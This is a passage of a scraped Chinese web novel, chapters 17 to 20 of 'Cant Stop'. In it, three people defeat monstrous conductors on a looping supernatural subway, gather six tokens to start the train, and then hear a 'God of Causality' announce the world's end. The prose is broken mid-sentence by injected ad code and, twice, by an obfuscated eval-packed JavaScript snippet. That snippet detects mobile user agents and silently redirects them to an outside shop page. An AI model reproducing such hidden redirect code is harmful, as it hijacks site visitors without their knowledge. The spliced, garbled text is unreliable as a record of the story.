方守叹口气:“可别提了,那一棍子我现在还疼呢。” 正面冲突的话,看来几乎不可能打赢那家伙……秦赤年手搭在下巴,笔尖无意识在纸上一戳一戳。 方守听她这一通分析,思路顿时清晰无比,脑筋也动得快起来:“既然按照你所说的,我们现在所在的是C1号车厢,人数又有两人,接下来只要走到A2车厢,再错开前进,一个人一个人地往前走,不就能抵达驾驶室了?快快,咱们现在就行动,赶紧过去,好启动列车,救出季蕾蕾!” 他话音方落,秦赤年却只是摇了摇头。 “这办法大概行不通。” “为、为什么?” “如果这样就能成功,刚刚你们就已经启动了列车。”她道,“但你们没有,季蕾蕾进入驾驶室后,到底发生了什么事?” 方守哑然,一时脸上又罩下愁云。 “在驾驶室内,她必然受了某个阻碍,这个阻碍……让她仅凭自己,无法启动列车。” “那……”方守怔怔然启口,“那现在,该怎么办……” 秦赤年望着画在纸页上的图案标记,四趟列车,二十四节车厢,转换交错,谜题重重,现在似是终于摸索出蛛丝马迹,可又落得新的疑问。 “上车前,我看到车门上写着一行字,这一路我都在思考这行字的意思,越想越觉得奇怪。” “为什么是限乘5人,而不是6人呢?” 6人的话便很好理解——如果搭乘列车的人数超过6人,也就是7人及以上上了车,那么即使到达最后6号车厢,他们也能做到一次转换都不发生。至于在6号车厢,7个人对付一个列车长,也未必不能做到。 可为什么是5人? 秦赤年一笑:“拜你一番话所赐,现在我终于明白了。” 17.Cant Stop 017 车厢内光线昏幽。 秦赤年握着鼓棒,刘海扎着眼前刺刺的,她眨了下。 就这么眨眼的功夫,眼前就不对劲了。 “出、出现了吗?” “嗯。” 这笃定的回答,叫方守鸡皮疙瘩瞬时起了一身,冷汗从前额滑落,动不敢动。 两人面对面在车厢内站着,大眼瞪小眼,当然,秦赤年瞪得不是方守,而是他身后的列车长。 就在刚刚,方守回头,一瞬的功夫,穿着制服的列车长便出现在他后头。 瘦长的骨骼,快接近车顶的身高,像被暴力拉长过的躯体,哪哪都透着扭曲。 一旦方守再转回头去,他就会发动攻击。 “方守,你朝前走一步。” 方守听了她的话,小心地往前挪了一步。 列车长也跟着挪动一步。 “方守,你往左转。” 方守往左转过身。 列车长也跟着左转。 “方守,你……”秦赤年挠挠头,“站住别动。” 方守应允。 应允完觉得有哪里不对劲——倒不是秦赤年这下达命令的姿态有点像领导在公司里喊他,而是…… 什么时候开始,秦赤年和季蕾蕾一样,都直接叫他名字了? 说好的……方大哥呢…… 鼓棒在指间兜了几个圈,最后晃悠悠被她握紧于掌心,秦赤年深呼吸一口,朝列车长身上“咚”地击去。 纹丝不动。 她不甘心,又举起,落下,“咚”地一击。 列车长脸上的黑圆点移动到侧面,好像是在看她。 秦赤年咬咬牙,鼓棒交叠。 ——“【骷髅鼓棒】已变幻为【可以当成剪刀的骷髅鼓棒】。” 唰,她将剪刀鼓棒架在了列车长瘦长扭曲的脖子上。 锯齿森森然,列车长还是不动。 咔嚓。 这一剪刀下去,不说皮开肉绽,至少也得起点血花吧,而眼前这个瘦长的男人,却毫发无损。 难道说只要方守不回头,列车长就不会攻击,他不攻击,她也没法对付他? “方守,你相信我不?” 方守听着身后的动静,早已吓得冷汗涔涔,却又不敢回头,嗫嚅着启口:“我要是不相信你,还、还会答应这样的计划吗,秦姑娘,你不管要做什么,可得给我一刀痛快些啊……” 秦赤年笑了:“得嘞,我数5秒,你回头。” “5。” “4。” “321!” 方守犹然还沉浸在5和4的舒缓韵律中,哪里想得到321是这样连珠炮,他大惊失色地回头,秦赤年已挡在他身前,用鼓棒抵住了列车长挥来的警棍。 他顿时明白——这列车长的行为机械而严谨,他一直听着他们的对话,必然在秦赤年数到1秒时就发动攻击,而方守却会慢个几拍,恰由秦赤年借着这个空隙挡下攻击,只要他不被警棍砸到,就不会发生重置。 然而…… 以鼓棒阻挡警棍,是否太过自信了些? 这还不是更危险的,更危险的是——秦赤年发现自己的头开始抽疼。 她想对眼前的敌人再次使用“那个”,可一旦她开始想象“画面”,头疼得几乎要裂开,咬咬牙想忍下来,却发现这疼痛根本忍不了。 难道是因为……她在鬼之厢时已经使用了一次,损耗太多了? 秦赤年闪身一退,列车长便趁势挥动警棍,往她身上砸来,她且躲且避,警棍落了空,乒乒乓乓打在了车厢的座位和扶手上,凹陷出数个大坑。 要命! 这一警棍下来,已经不是重置不重置的问题了! 呜呼哀哉,秦赤年在脑中飞速思索起对策,她可以绕过这怪物男人跑到下一个车厢吗?可就算如此,计划也失败了,他们该怎么做,才能—— 砰。 列车长重重倒在地上。 秦赤年错愕望去,方守举着小电锅,也不敢相信自己居然真的砸倒了怪物,他颤巍巍伸手,指指地上。 “你看,这个男人的脖子……” 列车长的后脖上,有一个黑色标记——一个黑圈内三个黑色圆点,像数学里的因为符号。 秦赤年下意识摸了摸自己的后颈——他们的脖子后头也有这个图案。 是在搭乘地铁前的安检时,被“标记”上的。 与他们的图案不尽相同,列车长的黑色标记上,还漂浮着一个小小的光环。 ——攻击光环,才能打败敌人。 秦赤年终于松出口气,朝方守一笑:“行啊方守,多亏了你。”复又蹲下身去,调查起倒地的列车长。 在他身上,秦赤年很快搜出了她想要的东西。 一枚印着因为符号的乘车币。 * “这东西,真的能……” “试试就知道了呗。” 秦赤年打开了车门。 他们现在所在的是C2车厢。 按照“转移”的规则,两个人在2号车厢打开下一节车厢的门,必然会重新走入A1车厢。 而现在呢? 方守望着这节车厢的布置:“这是我们从没来过的车厢……” “没错,这是C3车厢。” 秦赤年望了眼手里的乘车币——一枚乘车币,代表一个人,人数的多少完全基于持有乘车币的数量,这才是转移规则的判定对象。 几分钟后,秦赤年和方守如法炮制,再次以“回头”计策,解决了一个列车长。 又一枚乘车币到手。 现在,他们手里加上自己的,一共有四枚乘车币。 四枚乘车币,可以一路畅通无阻走到4号车厢。 十几分钟前,秦赤年这样告诉方守自己的推测: “之所以限制5人上车,是因为驾驶室存在某个东西,必须要6个人及以上才能触发,触发之后,才有办法启动列车。” “5人乘车,即使这五人前面都很 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 顺利,抵达驾驶室后也会遇到阻碍,不存在凭着人数多就能非常轻松地通关。当然,不管怎么想,这光环任务对于一个人单独参加的情况来说……真是地狱。” 秦赤年想了想,还是重新换了个说法:“不,不是地狱,是根本不可能完成。” “一个人不可能完成,但两个人却有成功的几率,随着人数的增加这个几率会变大,为什么?可不只是因为人数越增多,‘转移’发生的点越推后。而是因为……” 她提笔,在四节地铁的尽头——6号车厢上,分别画了四个小人,为了区分,每个小人脸上都画了三个圆点。 “我在1号线时,也就是B5车厢时,和你们一样,也在车门上看到了‘前方危险,请小心’的提示,很显然,B6车厢上也有列车长把手,这是不是可以推出,每趟列车的6号车厢都有一名列车长在?四趟列车加起来,一共是四名列车长。” “这些列车长……也是乘车人数的一员。” “到底如何判断这个乘车的‘人数’?为什么经过的那些NPC似的车厢乘客,不算是‘人数’?如果他们也算,这辆车早就超载了。” “有样东西,我们从上车时就一路带着,若我的推测没错,在列车长身上,也有它。” 果不其然。 打倒列车长之后,还真搜寻出了和他们一模一样的乘车币。 方守喃喃道:“我明白了,之所以一个人不可能完成这场任务,是因为……” 一个人的话,就算真有滔天本领,早早识破“转移”诡计、打败了四个列车长……一加四却只是五,永远达不到“6人”。 所以车厢内的提示,才会说“本场光环任务不建议单人独自参与”。 方守又想到什么,惊道:“可是,在购票的时候,若有人一下子买多了车票,不是就——” 秦赤年摇了摇头:“恐怕没法多买。” “没法?” “购票时我并未选择人数,恐怕……”她指了指自己的后脖,“票数是根据标记认定的,通过安检刻上标记的人,才算作‘人数’。” “原来如此……” 打从最开始进入地铁站时,他们就被算计好了。 “到底是什么样的人,会弄出这样的‘光环任务’……”方守又是惊叹又是气愤,蓦然想到了季蕾蕾,急道,“现在我们只要再打败两个列车长,就能获得两枚乘车币!这样一来……” “方守,你看看这是第几号车厢?” 方守顺她所言望向周围——秦赤年一边阐明她的推测,他们一边也在朝前走着,拉开一扇扇车门,来到新的车厢。 红色外套的女人倒在车厢地面。 “这是1号……A1号车厢。” 他们来到了1号线往云园方向的地铁上。 季蕾蕾就在这趟地铁的驾驶室。 “你我手中的乘车币,加上季蕾蕾,一共五人。我们现在只要打败一个列车长,而他,就在前面的……” A6车厢。 18.Cant Stop 018 季蕾蕾手中握着伞柄,蓝色洋伞将她藏入一方小小的天地。 她知道伞面上有倒计时——洋伞的保护能力只能持续15分钟,15分钟之后,“一把伞下不可攻击”的能力就会被冻结,冻结时长多达12小时。 她也知道,那个拿着警棍的男人就站在驾驶室门外。 列车长黑漆漆的三个圆点紧贴着透明车门,那视线仿佛化作两只怪手,穿过车门,随时都可将她抓出去,如探囊取物般轻易。 她不敢回头,虽然一进入这间驾驶室,她就知道“回头”的规则对她已不再生效。 驾驶室上方写着搭乘地铁的规则:不可回头,一旦回头就会被列车长击晕,而后随机传送至四趟列车的任一节1号车厢,此规则只限于1至6节车厢;每节列车的6号车厢皆有一位列车长把守阵地,一旦有试炼者进入6号车厢,列车长会对其进行攻击…… 最后一则,写道:启动列车需要在下方的投币口投入6枚乘车币。 季蕾蕾盯着掌心的乘车币。 6枚…… 去他大爷的。 她抱着双膝,蹲坐在驾驶位上,不让自己去在意门外的视线——他一定进不来的,这门可以上锁,她已经锁得死死的。 没什么好害怕的。 剩下的……只要等方守和秦赤年。 他们肯定会来驾驶室吧?就算不为了救她,也会来启动列车。 她只要在这等着就好。 “6枚……乘车币……” 就算秦赤年、方守来了,他们加一块也只有三枚乘车币。 ……管他呢。 她已经受够了这个光环任务:在又闷又臭的地铁上不断兜圈子、还有可怕的怪物男人攻击…… 打一开始,或许就不该听秦赤年的话,来什么地铁站调查线索。 调查出什么了吗?什么都没有!倒是她现在又累又饿又困,身上臭得一刻也忍不了。 季蕾蕾摸着洋裙的花边,柔软的雪纺材质在她掌心轻绽,她很喜欢摸着裙子的时候,有一种令人安下心来的感觉。 这种感觉,对其他人来说,可能是在夏日开着冷气的图书馆里看书、在露天广场的音乐节上嘶声疯唱、在海边同恋人一起漫步…… 对她来说,看着、摸着、穿上这些色彩斑斓的洋装,心中就有一股无限饱满的幸福感。 “啊。”一声短短的惊呼。 Lo裙的裙边破了一个口子。 很细小的一处裂痕,应该是刚刚在车厢内奔行时,不知划到了哪里。 季蕾蕾的心在滴血。 她凑近那道裂痕,在心中迅速回忆起自己有没买过这个色系的缝线——如果这儿有针线在手,她一定能把这道口子补好,或者,像《下妻物语》里的桃子一样,绣一朵花上去。 “这个饱和度的蓝色,嗯,好像……等等,裙撑也裂开了吗!?” ……是真的。 裙撑也被划到了,缝接处裂开一截。 心痛。 垂下头,将脸轻轻埋入膝盖,好想离开这里,什么见鬼的光环任务,什么见鬼的地铁,早知道不来天州市了,新款展览没去成,还遭了这么多莫名其妙的罪…… 哐。 哐。 耳边传来的响音吓了季蕾蕾一大跳,她望向驾驶室的门——方守他们终于来救她了! 是列车长。 他手中拿着钢板和锤子,正在将数块长方状的硬板按在门上,用锤子钉死。 他、他想干嘛!? 哐哐声在继续,在季蕾蕾错愕的目光中,列车长很快将车门钉了七八个铁板,牢牢地封阻了。 这下,不是他进不进得来,而是她根本出不去了。 “喂!你这是做什么!” 季蕾蕾转动门把,侧身撞门,用最大力气去推,车门发出咔咔的声音,却不见打开。 “喂!” 红光笼罩了6号车厢。 “警告,警告,已有两名试炼者违规回头三次,请下达处罚,请下达处罚。” 违规的……两名试炼者? 季蕾蕾贴着车门,目光艰难地从铁板的缝隙间透过,她看到列车长用钥匙打开了车厢顶部的方形逃生天窗,窗口很小,列车长那扭曲拉长的身高很轻松地够到了天窗外头,他取下了一样东西。 是一个一米左右长度,宽高则在三四十厘米的灰色保险箱。 他打开保险箱,从里头拿出了…… 一把猎枪。 而后,列车长举着那把枪,朝前方的车厢走去。 * “为什么咱们不再用‘回头’的方法对付这趟车上的列车长?老实说,就这样走到6号车厢和他正面对抗……也太危险了。” “你忘了吗?回头可不能超过三次,这提示还是你同我说的,咱们击败两个列车长前,已经都回过两次头了。” 方守点点头:“也是。” 不过,他有点忘了,这个提示说的是不能超过三次,还是第三次就违规…… 应该是前者吧。 “别担心,我们已经知道列车长的弱点在哪,到时候我想办法吸引他的注意力,你趁着机会打他脖子上的标记,成功击倒,万事大吉,去和驾驶室的季蕾蕾汇合,完美!” 方守终于露出点笑容:“要是真这样顺利就好了。” 两人走入下一节车厢,熟悉的景象已不再让人感到害怕,毕竟胜利的曙光,就在眼前。 “不知道季蕾蕾怎么样了,唉,她肯定又担惊受怕了吧,估计在怪咱们还不去救她……”方守叹了口气,俨然一副老妈子口吻,“秦姑娘,她这一路给你添麻烦了。” “别介啊,什么麻烦不麻烦的……” “你回宿舍时,特地还给季蕾蕾拿了双好走的运动鞋吧?” 方守道:“这姑娘什么都好,就是对她那裙子嗜裙如命的,她妈妈,也就是我姑母,和我提过,季蕾蕾自从上高中迷上了……你们年轻人叫这个Lolita吧?” 秦赤年点点头,老年人方守又上线了。 “自从她迷上了Lolita,成天都在看各种裙子的资料、购买途径、穿搭杂志 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13268495|138138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等等……她喜欢极了这玩意,用她妈妈的话来说:衣橱里没一件正常衣服,全都是五颜六色的花裙子。” “这还不是重点,重点是她把心思全放在这些裙子上,上了大学还是这样,不交朋友不加社团,和室友们的关系处得也不好,她妈妈担心这样下去不行,总让我劝劝她,理由是同龄人说话会听……唉,可我哪知道怎么劝啊……” “只是爱好的话……没什么不好吧?” 方守垂下了眼,点点头:“……你说的也对。我姑母同我说,自从上了大学,季蕾蕾的那些裙子,都是她打工赚来的钱买的。” 秦赤年震惊,她作为方守口中的“年轻人”,也是知道这些Lolita裙子,尤其是日牌的,价格可不菲,季蕾蕾……好强。 “想象不来吧,我刚知道时也想象不来。” 他此前只听说这个表妹娇生又惯养的,脾气还差,见到他的第一眼,说的居然是:你就是方守吧,以前没见过。这话换个语境,就是总公司领导下巡分部,看到打扫中的保洁阿姨:以前怎么没见过这个阿姨?换新人了吗? 季蕾蕾为了买这些裙子,打了两份工,从奶茶店兼职到初中生家教。方守想象不来,季蕾蕾会对点单的顾客露出笑容的样子…… “你或许会认为她家境不好才这样吗?其实不然,恰恰相反,姑母出手阔绰,对待女儿更是有求必给,而季蕾蕾之所以如此……大概是因为她妈妈再婚的缘故吧。” 他们来到了A3号车厢,因为一面走一面聊着天的缘故,步子也慢了下来。 “再婚?季蕾蕾她……” “她初中那年父母就离了婚,母亲很快也再婚了,但是继父她并不喜欢,高一那年,她弟弟出生了,我姑母便把注意力全都集中在了刚出生的小孩上,继父也很疼爱这个男孩,我知晓姑母并没忽视大女儿的意思,可对于季蕾蕾来说,那段时光里,她就是被忽视的那一个吧……” 秦赤年静静听着方守诉说,不知怎的,脑中浮现了季蕾蕾孤零零一人在房间内换上洋装,对着镜子转起圈的画面…… “我也是单亲家庭。”她忽然道。 方守一怔:“这、这样。” “我爸……在我六岁那年去世了,我妈一个人把我拉扯大。” “抱,抱歉!” 秦赤年笑了:“有段时间,我妈实在是承受不住了,她白天要在工厂里工作,累死累活就那么点薪水,晚上回家还要照顾我,我小时候可不听话了,什么坏事都干过,她常常气得用衣架打我……我想,我有点能理解季蕾蕾。” 理解什么呢?她并没有说完。 方守听着她一席话,一时怔然,反射弧饶了那么一大兜,才道:“你放心,咱们完成了这个光环任务,出了地铁,你妈妈一定好端端的,正在家里等你。” 秦赤年哭笑不得,方守怎么把安慰人的话说得像在立什么FLAG似的,她抬手,打开了车门。 4号车厢。 车厢尽头,列车长手握长长猎枪,朝二人所在的方向,扣下扳机。 “方守!小心!!” 19.Cant Stop 019 那是枪吧?那是枪! 枪上还覆着红色光环! 他拿着猎枪往前面的车厢走去了,难道是想—— 难道什么难道,列车长的目标就是秦赤年和方守! 季蕾蕾跌坐在座位上,洋伞垂了下来。 他们会被剥夺掉光环,而剥夺光环,就意味着死。 可是,就算如此,她又能做什么……她在这狭窄的驾驶室内,既无法启动列车,也出不去。列车长已经朝前面的车厢走去,刚刚那声警告和红光只出现在6号车厢,秦赤年他们一定还不知道。 或许,秦赤年有办法对付他? 他手里拿着的可是猎枪,武功再高也怕菜刀,鼓棒要怎么样才能敌得过子弹? 季蕾蕾抱紧了膝盖:啊,那就这样吧。 她什么也做不了,不是吗? 运动鞋映入眼底。 白色的鞋身,蓝色的鞋带,这个配色……有点像她今天这身Lo裙。 换以往,季蕾蕾是绝对无法接受Lo裙配普通运动鞋这堪比百事可乐兑可口可乐的行为——她不觉得穿Lo裙就要化妆,也不认可只有天生纤瘦白皙的人才配穿Lo装,但唯独这种离谱的搭配行为,无法接受! 可这双鞋子…… 她用手轻拂过鞋带,鞋子很新,看上去没穿多少次,秦赤年的鞋码和她一样,穿上去便刚好合适。 她是……故意选择了这个配色么? “什么鬼啊,以为……和裙子一个色系……我就会穿吗……” “是不是瞧不起我的审美啊”这句话哽在喉间,滚滚落落,没说出口。 季蕾蕾终于站起身,环视整个驾驶室。 进来时她就已经粗略地看过一遍,这间驾驶室没什么特别的,正前方一面大玻璃窗,窗外是长长的地铁轨道;下方是一排的列车操作区,仪表盘、按钮、摇杆…… 当然,和真正的地铁驾驶室不一样,这些操作区内能“启动列车”的,是正中央的一个投币口。 ——启动列车需要在下方的投币口投入6枚乘车币。 她手里只有一枚乘车币,这便完美堵死了启动地铁的可能。 那么,稍微转移一下思路:除了车门外,还有没有别的方法,可以从这间驾驶室出去? 季蕾蕾抬起头。 如果她记得没错,列车长从车顶打开了一个方形的逃生天窗,从车外拿了一个保险箱,会不会…… 这儿也有个方形的区域! 季蕾蕾踩上座位,仰头仔细望去,区域的右下角,有一个小钥匙孔。 钥匙孔…… 季蕾蕾连忙在挎包内翻寻起来,很快找到了一把黄色钥匙。 这是之前和方守在前的车厢找到了,一直没派上用场。 咔嗒。 她用钥匙打开了窗舱。 狂风袭来,将她满头长发吹得乱糟糟,地铁之外的空气瞬间盈满鼻端,幽黄色的隧道车灯闪晃着,她看到了列车一望不尽头的拱形车顶。 可以从这个舱门到外面去! 季蕾蕾难以形容此刻的心情,踏破铁鞋无觅处,另一个出口就在如此近的地方! 不仅6号车厢车顶有逃生舱门,驾驶室也有,这是不是意味着…… 每节车厢上方都有? 若按常见的地铁设置,由于隧道狭窄、车顶配有供电接触网的缘故,一般不会设计用于逃生的天窗舱门。 但同样,一些城市的地铁采用的是传统的第三轨供电,在地铁旁另外加按了一条独立供电的轨道,也叫做受电轨,列车的转向架上则会安装对应的集电靴来取电。 这样的配置经济便捷、检修更方便,但也有一定危险性,不过,这样一来,就可以在空出来的车顶上方开设逃生窗舱。 只要从这里出去,说不定可以顺着车顶一直朝前爬,通过天窗进入别的车厢! 她可以先于列车长,找到秦赤年他们! 季蕾蕾撑着胳膊就往窗舱外钻。这个逃生天窗并不宽敞,左右能挤下她已算不易,隧道内的风生猛凌厉,吹得她六亲不认似的眯起眼,很快,季蕾蕾意识到了一个糟糕的问题。 爬出去之后,她该如何保证自己不掉下去? 光秃秃的拱形车顶在可够着的距离内并没有能抓牢的地方,何况车外这风这么大,再来几阵,保不齐她就给带下去了! 季蕾蕾急得快哭了,人卡在天窗好一会,环视四周,她发现窗舱的门上有一个小孔。 说是小孔,也并不小,直径约在五厘米,如果有什么长绳类的东西能穿过这个孔洞,打上一个固结,她就可以顺着绳子往外爬,就算被吹掉下去,抑或发现其他节车厢的门无法打开,也能凭着绳子返回! 问题是,这样的绳子上哪去找? 这个问题还未得到解决,季蕾蕾又发现了一个新的难题。 那就是……她的裙撑,好像出不去这个舱门。 卡住了。 这小小天窗拢共就那么大点位置,能挤过她一个人已不容易,挤过她的裙撑?别做梦了。 此时此刻,季蕾蕾才终于明白“踏破铁鞋无觅处”这句话后面接的是什么——竹篮打水一场空! 想从这儿出去救秦赤年他们,根本不可能! 眼泪滑落眼角,季蕾蕾觉得一切都糟糕透了:她到底为什么要困在这列地铁、这节驾驶室、这个该死的逃生天窗内!明明,明明她现在,应该在BABY的新款展览上,欣赏那些裙子的…… 裙子? 季蕾蕾从天窗口跳了下来,低头,望向自己的下半身。 裙子。 嗖地,她以最快的速度,将裙子下的裙撑脱了下来。 她为了这款裙子蓬起的弧度好看,特地在里头穿了材质最硬的硬纱裙撑,还是加厚的面料,之所以不选择鱼骨撑,是考虑到得坐方守的车去,坐一路变形了到会场没工夫整拾,虽然硬纱裙撑天气热很受罪,但也只限于参观展览那天,她便想忍忍算了,就这么穿了。 季蕾蕾将戴在头上的发饰取下:这次出门太着急,她搭配这套裙子的发饰是坏的,上头的的蝴蝶结摇摇欲坠,她便用几个曲别针加固了下。 她将曲别针从发饰上取下来,一手捧着裙撑,从刚刚发现的那处裂口,扎了一排的孔洞。 而后,她沿着孔洞,使出力气,将裙撑撕下一长条。 如法炮制,她又这样撕扯下了好几条,这款裙撑极费面料,硬纱材质也比其他的雪纺、丝绸等结实,她一直有做手工的习惯,上手处理灵巧迅捷,很快,这顶白色裙撑已被她拆扯个干净。 她将拆下的布条两两交缠在一块,作麻花状拧紧,再拧紧,而后在末端接上一条,打上了死结,这一来二去,裙撑制成的“长绳”完成。 她将“长绳”穿过那个孔洞,打上结,数次确认足够牢固后,她将绳子的另一端绑在自己的腰间。 而后,她开始往天窗外爬。 这个过程比她想象得还要艰难,隧道内的妖风大到吓人,吹得她满面的尘土灰沙,她紧贴着车顶,朝前挪去,要快,再快一点。 哧啦。 什么东西,将她的裙子划破了。 小腿凉飕飕的,风顺着裙子的裂痕不断灌入,但她没有功夫去在意。 她用手够着能抓稳的东西,昏黄色的隧道灯照着前方,车厢顶的红色涂漆与之呼应,仿佛她趴在一头沉睡巨龙的身上。 她就这样一点点、一点点,朝前爬去。 * “方守!小心!!” 子弹擦着方守的脸颊,砰一声钻破身后的车门。 方守瞬间领略到心脏骤停的体验。 秦赤年不可置信地望向面前的列车长——他手里的武器,不再是警棍,而是一把猎枪! 一发击空,列车长换弹上膛,再次将枪口对准他们,秦赤年拉着方守闪身躲入座位隔板后,只听耳旁砰砰声起,玻璃隔板碎了一地。 居然用枪,不讲武德! 秦赤年深吸一口气,危急关头大脑反而运转更快,她将鼓棒置于掌心,脑中响起声音。 “——【骷髅鼓棒】已变幻为【可以当成飞镖的骷髅鼓棒】。” 她将飞镖大力甩出,击中一排排车灯,只听“咔咔”数声锐响,整个车厢的灯都熄灭了! 一片幽暗中,只有隐隐的几丝亮光从车门的弹孔处透过,列车长连开数枪,子弹擦着金属栏杆在黑暗车厢内横冲直撞,好几枚都擦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281836|138138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着他们的头顶飞过,秦赤年几乎可以闻到空气中发丝焦灼的气味。 她爬伏在地面,列车长行走的声音传来,皮鞋底回荡的响音很大,他在黑暗中一面随机开枪,一面找寻他们的位置! 她不清楚列车长的猎枪有多少发子弹,但他换弹时需要花费3到4秒左右的时间,如果能在这个时间内绕到他后方,攻击光环,就有办法打败他! 首先要做的,是消耗他的子弹! 秦赤年将包里能制造大声响的东西朝远处丢去,果然,列车长一听到声音,就朝那个方向开枪。 这怪物的武器固然吓人,但到底不具备人类的智能,行事方式高度机械化,流弹在车厢内飞窜,秦赤年不敢轻举妄动。 砰。 砰。 砰砰砰——一连数发,列车长像一个没有感情的开枪机器,很快,子弹走到尽头。 列车内一片寂静。 “方守,就是现在!” 方守猛冲上前,一把抱住列车长那瘦长扭曲的身子,作势要来个背摔。 可他还是低估了对方的力量、更高估了自己的气力,背摔不成,列车长挣扎着欲以枪背攻击他,秦赤年借准时机,双手持鼓棒,绕至列车长背后,朝他脖子后的光环,狠狠击去! 列车长压着方守,倒了下来。 “唔,好、好重!” 这一压差点给方守压个魂飞魄散,他在落地前调转了身子,可还是给列车长当了大半个肉垫。 秦赤年想上前将方守拉起,奈何刚刚那全力一击,快给她手甩脱臼,肩上的伤也牵扯着疼了起来:“方守,抱歉,现在没力气拽动你了。” 方守从列车长身下爬出:“你没事吧,秦姑娘?” 血从草草包扎的绷带渗出,秦赤年的脸色苍白得无一丝血色,方守惊呼:“秦姑娘!” 眩晕感。 光环粒子在她脖间涌动,非常滚烫,秦赤年摸了摸,却什么都摸不着。 她靠着一侧的车门滑坐于地,指了指列车长:“先看看……他身上的东西吧。” 方守这才想起他们的目的,在倒地的男人身上摸索了一番,找出了一枚乘车币。 现在,他们共有五枚乘车币。 “还差一个季蕾蕾的,就够六枚了……”方守感慨万千,“唉,终于能离开这个鬼地方了……” 眩晕感。 秦赤年轻捂着头,不作死就不会死,其实刚刚她又想了动用“那个”,却招致来了剧烈的头疼,真要命,所以到底在怎样的情况下,才能使用“那个”? 用“那个”、“那个”来称呼,其实她也不知道那到底是怎么一回事。 恐怕一切,都和她脖子上的光环息息相关。 眩晕感。 在一片眩晕中,秦赤年看到眼前站起一个人,方守“快躲开”的吼声听起来十分远,她想去摸鼓棒,可已经来不及了。 “复活”的列车长举起猎枪,朝她的脖颈按动扳机。 光环粒子全数消失之际,就是他们身死之时。 这一枪下来,粒子必然于空气中消散得一毫不剩,秦赤年,只能去见马克思了。 砰—— “啊啊啊啊啊啊啊——!!!” 魔音般的尖叫。 半空中蓝色裙边翻卷,一双穿着蓝白运动鞋的脚狠狠踹向列车长的头,这从天而降,不对,从车顶而降的飞踢快、准、狠,猝不及防,无人可挡,猎枪从列车长手中甩出,他晃着身子,倒了下来。 秦赤年没有成功见到马克思,而是见到了熟悉的蓝色蓬蓬裙。 不,这裙子已经……不那么蓬了,还裂了好大一个口子,原本华丽的柄图七零八落,沾着不知哪儿碰着的灰尘污泥,脏兮兮一大片。那道裂痕快到大腿,裙子的主人只能将其打了个蝴蝶结,勉勉强强遮住部分。 秦赤年知道摇滚乐里有Grunge Rock,难道……Lolita里也有Grunge Lolita吗? “季蕾蕾,你……”她终于没忍住,呆呆道,“你的裙、裙子……” 季蕾蕾握住她的手,掌心交叠,将秦赤年从地上拽起,恶狠狠道: “都什么时候了,你还管裙子!” 20.Cant Stop 020 驾驶室。 六枚乘车币掉入机器中,三人听到某处传来“嘀”一声响。 “滴嘟嘟滴——本趟列车即将启动——” 轰隆,轰隆,一望不见底的隧道内,地铁列车有条不紊地朝前开去。 手机上出现了新的提示语: 当前试炼场【天州市】光环任务已完成! 光环即将派发,请至车厢内等候…… * 三人是用列车长的猎枪打开了驾驶室的门的,开启之后,猎枪里头还剩四发子弹。 回到车厢,这一路遇着的所有稀奇古怪的乘客,全都消失不见,包括列车长在内。轨道交通路线图终于恢复正常,显示着1号线的各站点名。 坐在座位上,每个人都像被抽光了浑身气力,在这地铁内度过的十几小时,无数惊险,无数次死亡擦肩,此刻终于……尘埃落定。 “呼……我要废了。季蕾蕾,你的裙子这样……真的没问题吗?” “你管我。” “你真的是从车顶一路爬过来的?你怎么知道我和方守在这个车厢的?” “那个逃生天窗上有个小孔,我透过小孔看到的。” “这也太强了……多亏你来得及时,不然我……”秦赤年想象不来她这一趟得多惊险,“谢谢你啦。” “哼哼。” 车厢内,季蕾蕾裙子破烂,秦赤年肩上受伤,方守灰头土脸,三人像从哪个难民营里跑出来,从包里翻出食物和水,终于记起来快有一天没吃任何东西,三个难民大快朵颐起来。 “搞了半天,唔……也没发现有关光环的线索。” 季蕾蕾咬着面包,说话含含糊糊。 秦赤年心中有愧,咕嘟嘟灌下一瓶水,刚想开口,就听车内响起动静。 电视突然打开了。 所有的地铁小电视自动开启,霸占屏幕的三个黑色圆点发生变化,左上的圆点浮现出一张嘴,右上的圆点是两只对称的耳朵,而下方的圆点,出现了一只眼睛。 眼睛眨了眨,瞳孔转向他们所在的位置。 嘴巴说话了: “恭喜,恭喜你们。” “这、这是什么!” 三人齐齐站起,如临大敌。 “我是你们第一个见到的‘神’。”嘴唇开开合合,声音从电视内传出,“我是‘因果之神’。我会告诉所有完成第一场光环任务的人,事故的‘因’。” 秦赤年紧握着鼓棒:“什么?” “你们的星球已经濒临覆灭。这是你们的世界末日。很可惜,并且无法扭转。” “但是,作为善良的神明,我们给你们留了一个机会。” “只要集齐十二枚光环。” “我们会将全球排行榜内前十名集齐光环的试炼者,带离这个行将毁灭的星球,而这十名幸运儿,将成为光人的一员,拥抱高等的新文明。” 每个字眼都听得懂,合在一起却让人匪夷所思:“什么毁灭?什么神?什么……你是谁?” 